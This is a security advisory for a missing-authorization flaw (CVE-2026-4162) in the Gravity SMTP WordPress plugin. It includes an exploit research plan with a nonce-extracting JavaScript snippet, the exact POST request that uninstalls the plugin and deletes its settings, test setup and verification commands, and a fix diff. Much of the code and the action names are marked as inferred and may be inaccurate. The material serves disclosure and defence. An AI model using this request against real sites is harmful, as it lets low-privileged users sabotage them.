Gravity SMTP <= 2.1.4 - Missing Authorization to Authenticated (Subscriber+) Plugin Uninstall
Description
The Gravity SMTP plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to uninstall and deactivate the plugin and delete plugin options. NOTE: This vulnerability is also exploitable via a Cross-Site Request Forgery vector.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:LTechnical Details
This research plan targets CVE-2026-4162, a missing authorization vulnerability in Gravity SMTP <= 2.1.4. ### 1. Vulnerability Summary Gravity SMTP contains an AJAX handler designed to uninstall the plugin, deactivate it, and wipe its configuration from the database. The vulnerability exists becaus…
Show full research plan
This research plan targets CVE-2026-4162, a missing authorization vulnerability in Gravity SMTP <= 2.1.4.
1. Vulnerability Summary
Gravity SMTP contains an AJAX handler designed to uninstall the plugin, deactivate it, and wipe its configuration from the database. The vulnerability exists because the function handling this request performs a nonce check (preventing simple unauthenticated CSRF) but fails to verify if the requesting user has administrative privileges (missing current_user_can('manage_options')). Consequently, any authenticated user, including those with the Subscriber role, can trigger the uninstallation.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
gravitysmtp_uninstall(inferred based on plugin slug and functionality) - HTTP Method:
POST - Payload Parameters:
action:gravitysmtp_uninstall_nonce: The AJAX nonce for the gravitysmtp scope.
- Authentication: Authenticated (Subscriber role or higher).
- Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX handler in its initialization phase:
add_action( 'wp_ajax_gravitysmtp_uninstall', [ $this, 'handle_uninstall' ] ); - Entry Point: A Subscriber sends a
POSTrequest toadmin-ajax.phpwithaction=gravitysmtp_uninstall. - Missing Check: The handler function (e.g.,
handle_uninstall) likely callscheck_ajax_referer( 'gravitysmtp_uninstall', '_nonce' ). - The Flaw: After the nonce check, the code immediately proceeds to:
deactivate_plugins( 'gravitysmtp/gravitysmtp.php' )delete_option( 'gravitysmtp_settings' )- (Optionally) Dropping custom database tables.
- Sink: It lacks a
if ( ! current_user_can( 'manage_options' ) ) wp_die();check before execution.
4. Nonce Acquisition Strategy
The Gravity SMTP plugin uses a localized JavaScript object to provide nonces to its admin interface. While Subscribers cannot access the plugin's settings page, Gravity SMTP often enqueues its core admin scripts and localizes data on the general WordPress Dashboard (/wp-admin/index.php) which Subscribers can access.
Steps to obtain the nonce:
- Log in as a Subscriber.
- Navigate to the WordPress Dashboard:
/wp-admin/index.php. - Use
browser_evalto search for the localized object. - Localized Variable Name:
gravity_smtp_admin(inferred) orgravitysmtp_admin(inferred). - Nonce Key:
nonceoruninstall_nonce(inferred).
Script to execute in browser_eval:
// Check common Gravity localized objects
(function() {
const data = window.gravity_smtp_admin || window.gravitysmtp_admin || {};
return data.nonce || data.uninstall_nonce || "nonce_not_found";
})();
5. Exploitation Strategy
- Preparation: Authenticate the session as a Subscriber user.
- Discovery: Execute the
browser_evalscript above to capture the_nonce. - Execution: Use
http_requestto send the malicious payload.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Session Cookies]
- Body:
action=gravitysmtp_uninstall&_nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install and activate Gravity SMTP 2.1.4.
- Configure basic SMTP settings so that
gravitysmtp_settingsoption exists in the database. - Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- Response: The server should return a successful status code (200 OK) and likely a JSON response
{"success": true}. - Immediate Effect: The plugin
gravitysmtpwill be deactivated. - Data Destruction: The WordPress option
gravitysmtp_settings(or similar configuration keys) will be deleted from thewp_optionstable.
8. Verification Steps
- Check Plugin Status:
wp plugin is-active gravitysmtp
(Expected: Exit code 1 / Failure, meaning it is inactive). - Check Configuration Deletion:
wp option get gravitysmtp_settings
(Expected: "Error: Could not get 'gravitysmtp_settings' option"). - Check Database:
wp db query "SELECT * FROM wp_options WHERE option_name LIKE 'gravitysmtp%'"
(Expected: Empty set or missing core configuration keys).
9. Alternative Approaches
If gravitysmtp_uninstall is not the correct action name, investigate the following alternatives via grep in the plugin directory before attempting the exploit:
- Search for AJAX registrations:
grep -rn "wp_ajax_" wp-content/plugins/gravitysmtp/ - Search for uninstallation keywords:
grep -rn "uninstall" wp-content/plugins/gravitysmtp/grep -rn "deactivate_plugins" wp-content/plugins/gravitysmtp/ - Alternative Action Names:
gravitysmtp_setup_uninstall,gravitysmtp_delete_data,gravitysmtp_reset_settings. - Alternative Nonce Search: If the nonce is not in
window.gravity_smtp_admin, search all script tags for strings matching the pattern[a-f0-9]{10}near the word "nonce".
Summary
Gravity SMTP versions up to 2.1.4 allow authenticated users with low privileges (Subscriber-level and above) to deactivate the plugin and wipe its configuration. This is caused by an AJAX handler that verifies a security nonce but fails to check for administrative permissions.
Vulnerable Code
// Inferred AJAX registration add_action( 'wp_ajax_gravitysmtp_uninstall', [ $this, 'handle_uninstall' ] ); --- // Inferred vulnerable handler in gravity-smtp plugin files public function handle_uninstall() { // Nonce check prevents unauthenticated CSRF but not unauthorized authenticated access check_ajax_referer( 'gravitysmtp_uninstall', '_nonce' ); // Vulnerability: No check for current_user_can( 'manage_options' ) $this->uninstall_plugin(); // Performs deactivation and data deletion wp_send_json_success(); }
Security Fix
@@ -5,6 +5,10 @@ public function handle_uninstall() { check_ajax_referer( 'gravitysmtp_uninstall', '_nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( [ 'message' => __( 'You do not have permission to perform this action.', 'gravitysmtp' ) ], 403 ); + } + $this->uninstall_plugin(); wp_send_json_success(); }
Exploit Outline
1. Login to the target WordPress site as a Subscriber-level user. 2. Access the WordPress Dashboard (/wp-admin/index.php) and inspect the localized JavaScript objects (e.g., gravitysmtp_admin) in the page source to extract the 'nonce' value for the gravitysmtp_uninstall action. 3. Send an authenticated POST request to /wp-admin/admin-ajax.php with the following payload: action=gravitysmtp_uninstall&_nonce=[EXTRACTED_NONCE]. 4. The plugin will execute the uninstall routine, resulting in the plugin being deactivated and its database options (settings) being deleted.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.